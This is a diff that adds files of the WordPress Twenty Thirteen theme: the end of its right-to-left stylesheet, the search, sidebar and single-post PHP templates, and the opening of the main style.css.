+.navigation .nav-previous {
+	float: right;
+}
+
+.navigation .nav-next {
+	float: left;
+}
+
+.sidebar .paging-navigation .nav-links,
+.sidebar .post-navigation .nav-links {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.paging-navigation .nav-previous .meta-nav {
+	margin-left: 10px;
+	margin-right: auto;
+}
+
+.paging-navigation .nav-next .meta-nav {
+	margin-left: auto;
+	margin-right: 10px;
+}
+
+.post-navigation a[rel="next"] {
+	float: left;
+	text-align: left;
+}
+
+
+/**
+ * 5.8 Author Bio
+ * ----------------------------------------------------------------------------
+ */
+
+.author-info {
+	text-align: right; /* gallery & video post formats */
+}
+
+.author.sidebar .author-info {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.author-avatar .avatar {
+	float: right;
+	margin: 0 0 30px 30px;
+}
+
+.author-link {
+	margin-left: auto;
+	margin-right: 2px;
+}
+
+
+/**
+ * 5.9 Archives
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .archive-meta {
+	padding-left: 316px;
+	padding-right: 0;
+}
+
+
+/**
+ * 5.10 Search Results/No posts
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .page-content {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+/**
+ * 5.12 Comments
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .comments-title,
+.sidebar .comment-list,
+.sidebar .comment-reply-title,
+.sidebar .comment-navigation,
+.sidebar .comment-respond .comment-form {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+.comment-list .children {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+.comment-author {
+	float: right;
+	margin-left: 50px;
+	margin-right: auto;
+}
+
+.comment-list .edit-link {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+.comment-metadata,
+.comment-content,
+.comment-list .reply,
+.comment-awaiting-moderation {
+	float: left;
+}
+
+.comment-awaiting-moderation:before {
+	margin-left: 5px;
+	margin-right: auto;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	margin-left: 3px;
+	margin-right: auto;
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-form [for="author"],
+.comment-form [for="email"],
+.comment-form [for="url"],
+.comment-form [for="comment"] {
+	float: right;
+}
+
+.form-allowed-tags code {
+	margin-left: auto;
+	margin-right: 3px;
+}
+
+.sidebar .no-comments {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+
+/**
+ * 6.0 Sidebar
+ * ----------------------------------------------------------------------------
+ */
+
+.site-main .widget-area {
+	float: left;
+}
+
+.widget-area a {
+	max-width: 100%;
+}
+
+
+/**
+ * 6.1 Widgets
+ * ----------------------------------------------------------------------------
+ */
+
+.widget .widget-title {
+	font-style: normal;
+}
+
+.widget li > ul,
+.widget li > ol {
+	margin-left: auto;
+	margin-right: 20px;
+}
+
+/**
+ * 7.0 Footer
+ * ----------------------------------------------------------------------------
+ */
+
+.site-footer .widget-area,
+.sidebar .site-footer {
+	text-align: right;
+}
+.sidebar .site-footer .widget-area {
+	left: auto;
+	right: -158px;
+}
+
+.site-footer .widget {
+	float: right;
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.sidebar .site-footer .widget:nth-of-type(4),
+.sidebar .site-footer .widget:nth-of-type(3) {
+	margin-left: 0;
+	margin-right: auto;
+}
+
+
+/**
+ * 8.0 Media Queries
+ * ----------------------------------------------------------------------------
+ */
+
+@media (max-width: 1069px) {
+	ul.nav-menu,
+	div.nav-menu > ul {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.error404 .page-header,
+	.sidebar .format-image .entry-content img.size-full,
+	.sidebar .format-image .wp-caption:first-child .wp-caption-text {
+		margin-right: auto;
+	}
+
+	.main-navigation .search-form {
+		left: 20px;
+		right: auto;
+	}
+
+	.site-main .widget-area {
+		margin-left: 60px;
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 999px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-reply-title,
+	.sidebar .comment-navigation,
+	.sidebar .comment-respond .comment-form,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.author.sidebar .author-info,
+	.sidebar .format-image .entry-content {
+		max-width: 604px;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.site-main .widget-area {
+		float: none;
+		margin-left: auto;
+	}
+
+	.attachment .entry-meta {
+		float: right;
+		text-align: right;
+	}
+
+	.sidebar .format-status .entry-content,
+	.sidebar .format-status .entry-meta {
+		padding-left: 0;
+		padding-right: 35px;
+	}
+
+	.sidebar .format-status .entry-content:before,
+	.sidebar .format-status .entry-meta:before {
+		left: auto;
+		right: 10px;
+	}
+
+	.sidebar .format-status .entry-content p:first-child:before {
+		left: auto;
+		right: 4px;
+	}
+
+	.sidebar .site-footer .widget-area {
+		left: auto;
+		right: 0;
+	}
+
+	.sidebar .paging-navigation .nav-links {
+		padding: 0 60px;
+	}
+}
+
+@media (max-width: 767px) {
+	.format-image .entry-content img:first-of-type,
+	.format-image .wp-caption:first-child .wp-caption-text {
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 643px) {
+	.sidebar .entry-header,
+	.sidebar .entry-content,
+	.sidebar .entry-summary,
+	.sidebar .entry-meta,
+	.sidebar .comment-list,
+	.sidebar .comment-navigation,
+	.sidebar .featured-gallery,
+	.sidebar .post-navigation .nav-links,
+	.sidebar .format-image .entry-content {
+		padding-left: 20px;
+		padding-right: 20px;
+	}
+
+	#content .format-status .entry-content,
+	#content .format-status .entry-met {
+		padding-left: 0;
+		padding-right: 35px;
+	}
+
+	.menu-toggle:after {
+		padding-left: 0;
+		padding-right: 8px;
+	}
+
+	.toggled-on .nav-menu,
+	.toggled-on .nav-menu > ul {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.toggled-on .nav-menu li > ul {
+		margin-left: auto;
+		margin-right: 20px;
+		right: auto;
+	}
+
+	#content .featured-gallery {
+		padding-left: 0;
+		padding-right: 24px;
+	}
+
+	.gallery-columns-1 .gallery-item {
+		margin-left: 0;
+		margin-right: auto;
+	}
+
+	.comment-author {
+		margin-left: 30px;
+		margin-right: auto;
+	}
+
+	.format-audio .audio-content {
+		background: none;
+		float: none;
+		padding-left: 0;
+		padding-right: 0;
+	}
+
+	.gallery-columns-3 .gallery-item:nth-of-type(3n) {
+		margin-left: 4px;
+		margin-right: auto;
+	}
+}
+
+@media (max-width: 359px) {
+	.gallery {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.gallery .gallery-item:nth-of-type(even) {
+		margin-left: 0;
+		margin-right: auto;
+	}
+
+	.gallery .gallery-item,
+	.gallery.gallery-columns-3 .gallery-item:nth-of-type(even),
+	.gallery-columns-3 .gallery-item:nth-of-type(3n),
+	.gallery-columns-5 .gallery-item:nth-of-type(5n),
+	.gallery-columns-7 .gallery-item:nth-of-type(7n),
+	.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+		margin-left: 4px;
+		margin-right: auto;
+	}
+
+	.comment-author .avatar {
+		margin-left: 5px;
+		margin-right: auto;
+	}
+}
+
+
+/**
+ * 9.0 Print
+ * ----------------------------------------------------------------------------
+ */
+
+@media print {
+	.entry-content img.alignleft,
+	.entry-content .wp-caption.alignleft {
+		margin-left: auto;
+		margin-right: 0;
+	}
+
+	.entry-content img.alignright,
+	.entry-content .wp-caption.alignright {
+		margin-left: 0;
+		margin-right: auto;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/search.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/search.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/search.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentythirteen' ), get_search_query() ); ?></h1>
+			</header>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar-main.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar-main.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar-main.php	(revision 33402)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * The sidebar containing the footer widget area
+ *
+ * If no active widgets in this sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+	<div id="secondary" class="sidebar-container" role="complementary">
+		<div class="widget-area">
+			<?php dynamic_sidebar( 'sidebar-1' ); ?>
+		</div><!-- .widget-area -->
+	</div><!-- #secondary -->
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/sidebar.php	(revision 33402)
@@ -0,0 +1,22 @@
+<?php
+/**
+ * The sidebar containing the secondary widget area
+ *
+ * Displays on posts and pages.
+ *
+ * If no active widgets are in this sidebar, hide it completely.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
+	<div id="tertiary" class="sidebar-container" role="complementary">
+		<div class="sidebar-inner">
+			<div class="widget-area">
+				<?php dynamic_sidebar( 'sidebar-2' ); ?>
+			</div><!-- .widget-area -->
+		</div><!-- .sidebar-inner -->
+	</div><!-- #tertiary -->
+<?php endif; ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/single.php	(revision 33402)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<?php get_template_part( 'content', get_post_format() ); ?>
+				<?php twentythirteen_post_nav(); ?>
+				<?php comments_template(); ?>
+
+			<?php endwhile; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/style.css	(revision 33402)
@@ -0,0 +1,3224 @@
+/*
+Theme Name: Twenty Thirteen
+Theme URI: http://wordpress.org/themes/twentythirteen
+Author: the WordPress team
+Author URI: http://wordpress.org/
+Description: The 2013 theme for WordPress takes us back to the blog, featuring a full range of post formats, each displayed beautifully in their own unique way. Design details abound, starting with a vibrant color scheme and matching header images, beautiful typography and icons, and a flexible layout that looks great on any device, big or small.
+Version: 1.4
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: black, brown, orange, tan, white, yellow, light, one-column, two-columns, right-sidebar, fluid-layout, responsive-layout, custom-header, custom-menu, editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, translation-ready, accessibility-ready
+Text Domain: twentythirteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 3.0 - Basic Structure
+ * 4.0 - Header
+ *   4.1 - Site Header
+ *   4.2 - Navigation
+ * 5.0 - Content
+ *   5.1 - Entry Header
+ *   5.2 - Entry Meta
+ *   5.3 - Entry Content
+ *   5.4 - Galleries
+ *   5.5 - Post Formats
+ *   5.6 - Attachments
+ *   5.7 - Post/Paging Navigation
+ *   5.8 - Author Bio
+ *   5.9 - Archives
+ *   5.10 - Search Results/No posts
+ *   5.11 - 404
+ *   5.12 - Comments
+ *   5.13 - Multisite
+ * 6.0 - Sidebar
+ *   6.1 - Widgets
+ * 7.0 - Footer
+ * 8.0 - Media Queries
+ * 9.0 - Print
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ *
+ * Modified from Normalize.css to provide cross-browser consistency and a smart
+ * default styling of HTML elements.
+ *
+ * @see http://git.io/normalize
+ * ----------------------------------------------------------------------------
+ */
+
+* {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+nav,
+section,
+summary {
+	display: block;
+}
+
+audio,
+canvas,
+video {
+	display: inline-block;
+}
+
+audio:not([controls]) {
+	display: none;
+	height: 0;
+}
+
+[hidden] {
+	display: none;
+}
+
+html {
+	font-size: 100%;
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+
+html,
+button,
+input,
+select,
+textarea {
+	font-family: "Source Sans Pro", Helvetica, sans-serif;
+}
+
+body {
+	color: #141412;
+	line-height: 1.5;
+	margin: 0;
+}
+
+a {
+	color: #ca3c08;
+	text-decoration: none;
+}
+
+a:visited {
+	color: #ac0404;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:active,
+a:hover {
+	color: #ea9629;
+	outline: 0;
+}
+
+a:hover {
+	text-decoration: underline;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-family: Bitter, Georgia, serif;
+	line-height: 1.3;
+}
+
+h1 {
+	font-size: 48px;
+	margin: 33px 0;
+}
+
+h2 {
+	font-size: 30px;
+	margin: 25px 0;
+}
+
+h3 {
+	font-size: 22px;
+	margin: 22px 0;
+}
+
+h4 {
+	font-size: 20px;
+	margin: 25px 0;
+}
+
+h5 {
+	font-size: 18px;
+	margin: 30px 0;
+}
+
+h6 {
+	font-size: 16px;
+	margin: 36px 0;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted;
+}
+
+b,
+strong {
+	font-weight: bold;
+}
+
+dfn {
+	font-style: italic;
+}
+
+mark {
+	background: #ff0;
+	color: #000;
+}
+
+p {
+	margin: 0 0 24px;
+}
+
+code,
+kbd,
+pre,
+samp {
+	font-family: monospace, serif;
+	font-size: 14px;
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+}
+
+pre {
+	background: #f5f5f5;
+	color: #666;
+	font-family: monospace;
+	font-size: 14px;
+	margin: 20px 0;
+	overflow: auto;
+	padding: 20px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 24px 40px;
+}
+
+blockquote blockquote {
+	margin-right: 0;
+}
+
+blockquote cite,
+blockquote small {
+	font-size: 14px;
+	font-weight: normal;
+	text-transform: uppercase;
+}
+
+blockquote em,
+blockquote i {
+	font-style: normal;
+	font-weight: 300;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -0.5em;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+dl {
+	margin: 0 20px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin: 0 0 20px;
+}
+
+menu,
+ol,
+ul {
+	margin: 16px 0;
+	padding: 0 0 0 40px;
+}
+
+ul {
+	list-style-type: square;
+}
+
+nav ul,
+nav ol {
+	list-style: none;
+	list-style-image: none;
+}
+
+li > ul,
+li > ol {
+	margin: 0;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	vertical-align: middle;
+}
+
+svg:not(:root) {
+	overflow: hidden;
+}
+
+figure {
+	margin: 0;
+}
+
+form {
+	margin: 0;
+}
+
+fieldset {
+	border: 1px solid #c0c0c0;
+	margin: 0 2px;
+	padding: 0.35em 0.625em 0.75em;
+}
+
+legend {
+	border: 0;
+	padding: 0;
+	white-space: normal;
+}
+
+button,
+input,
+select,
+textarea {
+	font-size: 100%;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	cursor: pointer;
+}
+
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+	padding-right: 2px; /* Don't cut off the webkit search cancel button */
+	width: 270px;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+caption {
+	font-size: 16px;
+	margin: 20px 0;
+}
+
+th {
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+td {
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+
+del {
+	color: #333;
+}
+
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+
+hr {
+	background: url(images/dotted-line.png) repeat center top;
+	background-size: 4px 4px;
+	border: 0;
+	height: 1px;
+	margin: 0 0 24px;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * ----------------------------------------------------------------------------
+ */
+
+.genericon:before,
+.menu-toggle:after,
+.featured-post:before,
+.date a:before,
+.entry-meta .author a:before,
+.format-audio .entry-content:before,
+.comments-link a:before,
+.tags-links a:first-child:before,
+.categories-links a:first-child:before,
+.edit-link a:before,
+.attachment .entry-title:before,
+.attachment-meta:before,
+.attachment-meta a:before,
+.comment-awaiting-moderation:before,
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-reply-title small a:before,
+.bypostauthor > .comment-body .fn:before,
+.error404 .page-title:before {
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font: normal 16px/1 Genericons;
+	vertical-align: text-bottom;
+}
+
+/* Clearing floats */
+.clear:after,
+.attachment .entry-header:after,
+.site-footer .widget-area:after,
+.entry-content:after,
+.page-content:after,
+.navigation:after,
+.nav-links:after,
+.gallery:after,
+.comment-form-author:after,
+.comment-form-email:after,
+.comment-form-url:after,
+.comment-body:after {
+	clear: both;
+}
+
+.clear:before,
+.clear:after,
+.attachment .entry-header:before,
+.attachment .entry-header:after,
+.site-footer .widget-area:before,
+.site-footer .widget-area:after,
+.entry-content:before,
+.entry-content:after,
+.page-content:before,
+.page-content:after,
+.navigation:before,
+.navigation:after,
+.nav-links:before,
+.nav-links:after,
+.gallery:before,
+.gallery:after,
+.comment-form-author:before,
+.comment-form-author:after,
+.comment-form-email:before,
+.comment-form-email:after,
+.comment-form-url:before,
+.comment-form-url:after,
+.comment-body:before,
+.comment-body:after {
+	content: "";
+	display: table;
+}
+
+/* Assistive text */
+.screen-reader-text {
+	clip: rect(1px, 1px, 1px, 1px);
+	position: absolute !important;
+}
+
+.screen-reader-text:focus {
+	background-color: #f1f1f1;
+	border-radius: 3px;
+	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
+	clip: auto !important;
+	color: #21759b;
+	display: block;
+	font-size: 14px;
+	font-weight: bold;
+	height: auto;
+	line-height: normal;
+	padding: 15px 23px 14px;
+	position: absolute;
+	left: 5px;
+	top: 5px;
+	text-decoration: none;
+	width: auto;
+	z-index: 100000; /* Above WP toolbar */
+}
+
+/* Form fields, general styles first. */
+button,
+input,
+textarea {
+	border: 2px solid #d4d0ba;
+	font-family: inherit;
+	padding: 5px;
+}
+
+input,
+textarea {
+	color: #141412;
+}
+
+input:focus,
+textarea:focus {
+	border: 2px solid #c3c0ab;
+	outline: 0;
+}
+
+/* Buttons */
+button,
+input[type="submit"],
+input[type="button"],
+input[type="reset"] {
+	background: #e05d22; /* Old browsers */
+	background: -webkit-linear-gradient(top, #e05d22 0%, #d94412 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #e05d22 0%, #d94412 100%); /* W3C */
+	border: none;
+	border-bottom: 3px solid #b93207;
+	border-radius: 2px;
+	color: #fff;
+	display: inline-block;
+	padding: 11px 24px 10px;
+	text-decoration: none;
+}
+
+button:hover,
+button:focus,
+input[type="submit"]:hover,
+input[type="button"]:hover,
+input[type="reset"]:hover,
+input[type="submit"]:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus {
+	background: #ed6a31; /* Old browsers */
+	background: -webkit-linear-gradient(top, #ed6a31 0%, #e55627 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #ed6a31 0%, #e55627 100%); /* W3C */
+	outline: none;
+}
+
+button:active,
+input[type="submit"]:active,
+input[type="button"]:active,
+input[type="reset"]:active {
+	background: #d94412; /* Old browsers */
+	background: -webkit-linear-gradient(top, #d94412 0%, #e05d22 100%); /* Chrome 10+, Safari 5.1+ */
+	background:   linear-gradient(to bottom, #d94412 0%, #e05d22 100%); /* W3C */
+	border: none;
+	border-top: 3px solid #b93207;
+	padding: 10px 24px 11px;
+}
+
+.post-password-required input[type="submit"] {
+	padding: 7px 24px 4px;
+	vertical-align: bottom;
+}
+
+.post-password-required input[type="submit"]:active {
+	padding: 5px 24px 6px;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+::-webkit-input-placeholder {
+	color: #7d7b6d;
+}
+
+:-moz-placeholder {
+	color: #7d7b6d;
+}
+
+::-moz-placeholder {
+	color: #7d7b6d;
+}
+
+:-ms-input-placeholder {
+	color: #7d7b6d;
+}
+
+/*
+ * Responsive images
+ *
+ * Fluid images for posts, comments, and widgets
+ */
+.entry-content img,
+.entry-summary img,
+.comment-content img,
+.widget img,
+.wp-caption {
+	max-width: 100%;
+}
+
+/* Make sure images with WordPress-added height and width attributes are scaled correctly. */
+.entry-content img,
+.entry-summary img,
+.comment-content img[height],
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto;
+}
+
+img.size-full,
+img.size-large,
+img.wp-post-image {
+	height: auto;
+	max-width: 100%;
+}
+
+/* Make sure videos and embeds fit their containers. */
+embed,
+iframe,
+object,
+video {
+	max-width: 100%;
+}
+
+/* Override the Twitter embed fixed width. */
+.entry-content .twitter-tweet-rendered {
+	max-width: 100% !important;
+}
+
+/* Images */
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+figure.wp-caption.alignleft,
+img.alignleft {
+	margin: 5px 20px 5px 0;
+}
+
+.wp-caption.alignleft {
+	margin: 5px 10px 5px 0;
+}
+
+figure.wp-caption.alignright,
+img.alignright {
+	margin: 5px 0 5px 20px;
+}
+
+.wp-caption.alignright {
+	margin: 5px 0 5px 10px;
+}
+
+img.aligncenter {
+	margin: 5px auto;
+}
+
+img.alignnone {
+	margin: 5px 0;
+}
+
+.wp-caption .wp-caption-text,
+.entry-caption,
+.gallery-caption {
+	color: #220e10;
+	font-size: 18px;
+	font-style: italic;
+	font-weight: 300;
+	margin: 0 0 24px;
+}
+
+div.wp-caption.alignright img[class*="wp-image-"] {
+	float: right;
+}
+
+div.wp-caption.alignright .wp-caption-text {
+	padding-left: 10px;
+}
+
+img.wp-smiley,
+.rsswidget img {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+
+.wp-caption.alignleft + ul,
+.wp-caption.alignleft + ol {
+	list-style-position: inside;
+}
+
+
+/**
+ * 3.0 Basic Structure
+ * ----------------------------------------------------------------------------
+ */
+
+.site {
+	background-color: #fff;
+	border-left: 1px solid #f2f2f2;
+	border-right: 1px solid #f2f2f2;
+	margin: 0 auto;
+	max-width: 1600px;
+	width: 100%;
+}
+
+.site-main {
+	position: relative;
+}
+
+.site-main .sidebar-container {
+	height: 0;
+	position: absolute;
+	top: 40px;
+	width: 100%;
+	z-index: 1;
+}
+
+.site-main .sidebar-inner {
+	margin: 0 auto;
+	max-width: 1040px;
+}
+
+
+/**
+ * 4.0 Header
+ * ----------------------------------------------------------------------------
+ */
+
+/**
+ * 4.1 Site Header
+ * ----------------------------------------------------------------------------
+ */
+
+.site-header {
+	position: relative;
+}
+
+.site-header .home-link {
+	color: #141412;
+	display: block;
+	margin: 0 auto;
+	max-width: 1080px;
+	min-height: 230px;
+	padding: 0 20px;
+	text-decoration: none;
+	width: 100%;
+}
+
+.site-header .site-title:hover {
+	text-decoration: underline;
+}
+
+.site-title {
+	font-size: 60px;
+	font-weight: bold;
+	line-height: 1;
+	margin: 0;
+	padding: 58px 0 10px;
+}
+
+.site-description {
+	font: 300 italic 24px "Source Sans Pro", Helvetica, sans-serif;
+	margin: 0;
+}
+
+
+/**
+ * 4.2 Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+.main-navigation {
+	clear: both;
+	margin: 0 auto;
+	max-width: 1080px;
+	min-height: 45px;
+	position: relative;
+}
+
+ul.nav-menu,
+div.nav-menu > ul {
+	margin: 0;
+	padding: 0 40px 0 0;
+}
+
+.nav-menu li {
+	display: inline-block;
+	position: relative;
+}
+
+.nav-menu li a {
+	color: #141412;
+	display: block;
+	font-size: 15px;
+	line-height: 1;
+	padding: 15px 20px;
+	text-decoration: none;
+}
+
+.nav-menu li:hover > a,
+.nav-menu li a:hover,
+.nav-menu li:focus > a,
+.nav-menu li a:focus {
+	background-color: #220e10;
+	color: #fff;
+}
+
+.nav-menu .sub-menu,
+.nav-menu .children {
+	background-color: #220e10;
+	border: 2px solid #f7f5e7;
+	border-top: 0;
+	padding: 0;
+	position: absolute;
+	left: -2px;
+	z-index: 99999;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(1px, 1px, 1px, 1px);
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	border-left: 0;
+	left: 100%;
+	top: 0;
+}
+
+ul.nav-menu ul a,
+.nav-menu ul ul a {
+	color: #fff;
+	margin: 0;
+	width: 200px;
+}
+
+ul.nav-menu ul a:hover,
+.nav-menu ul ul a:hover,
+ul.nav-menu ul a:focus,
+.nav-menu ul ul a:focus {
+	background-color: #db572f;
+}
+
+ul.nav-menu li:hover > ul,
+.nav-menu ul li:hover > ul,
+ul.nav-menu .focus > ul,
+.nav-menu .focus > ul {
+	clip: inherit;
+	overflow: inherit;
+	height: inherit;
+	width: inherit;
+}
+
+.nav-menu .current_page_item > a,
+.nav-menu .current_page_ancestor > a,
+.nav-menu .current-menu-item > a,
+.nav-menu .current-menu-ancestor > a {
+	color: #bc360a;
+	font-style: italic;
+}
+
+.menu-toggle {
+	display: none;
+}
+
+/* Navbar */
+.navbar {
+	background-color: #f7f5e7;
+	margin: 0 auto;
+	max-width: 1600px;
+	width: 100%;
+}
+
+.site-header .search-form {
+	position: absolute;
+	right: 20px;
+	top: 1px;
+}
+
+.site-header .search-field {
+	background-color: transparent;
+	background-image: url(images/search-icon.png);
+	background-position: 5px center;
+	background-repeat: no-repeat;
+	background-size: 24px 24px;
+	border: none;
+	cursor: pointer;
+	height: 37px;
+	margin: 3px 0;
+	padding: 0 0 0 34px;
+	position: relative;
+	-webkit-transition: width 400ms ease, background 400ms ease;
+	transition:         width 400ms ease, background 400ms ease;
+	width: 1px;
+}
+
+.site-header .search-field:focus {
+	background-color: #fff;
+	border: 2px solid #c3c0ab;
+	cursor: text;
+	outline: 0;
+	width: 230px;
+}
+
+
+/**
+ * 5.0 Content
+ * ----------------------------------------------------------------------------
+ */
+
+.hentry {
+	padding: 40px 0;
+}
+
+.entry-header,
+.entry-content,
+.entry-summary,
+.entry-meta {
+	margin: 0 auto;
+	max-width: 604px;
+	width: 100%;
+}
+
+.sidebar .entry-header,
+.sidebar .entry-content,
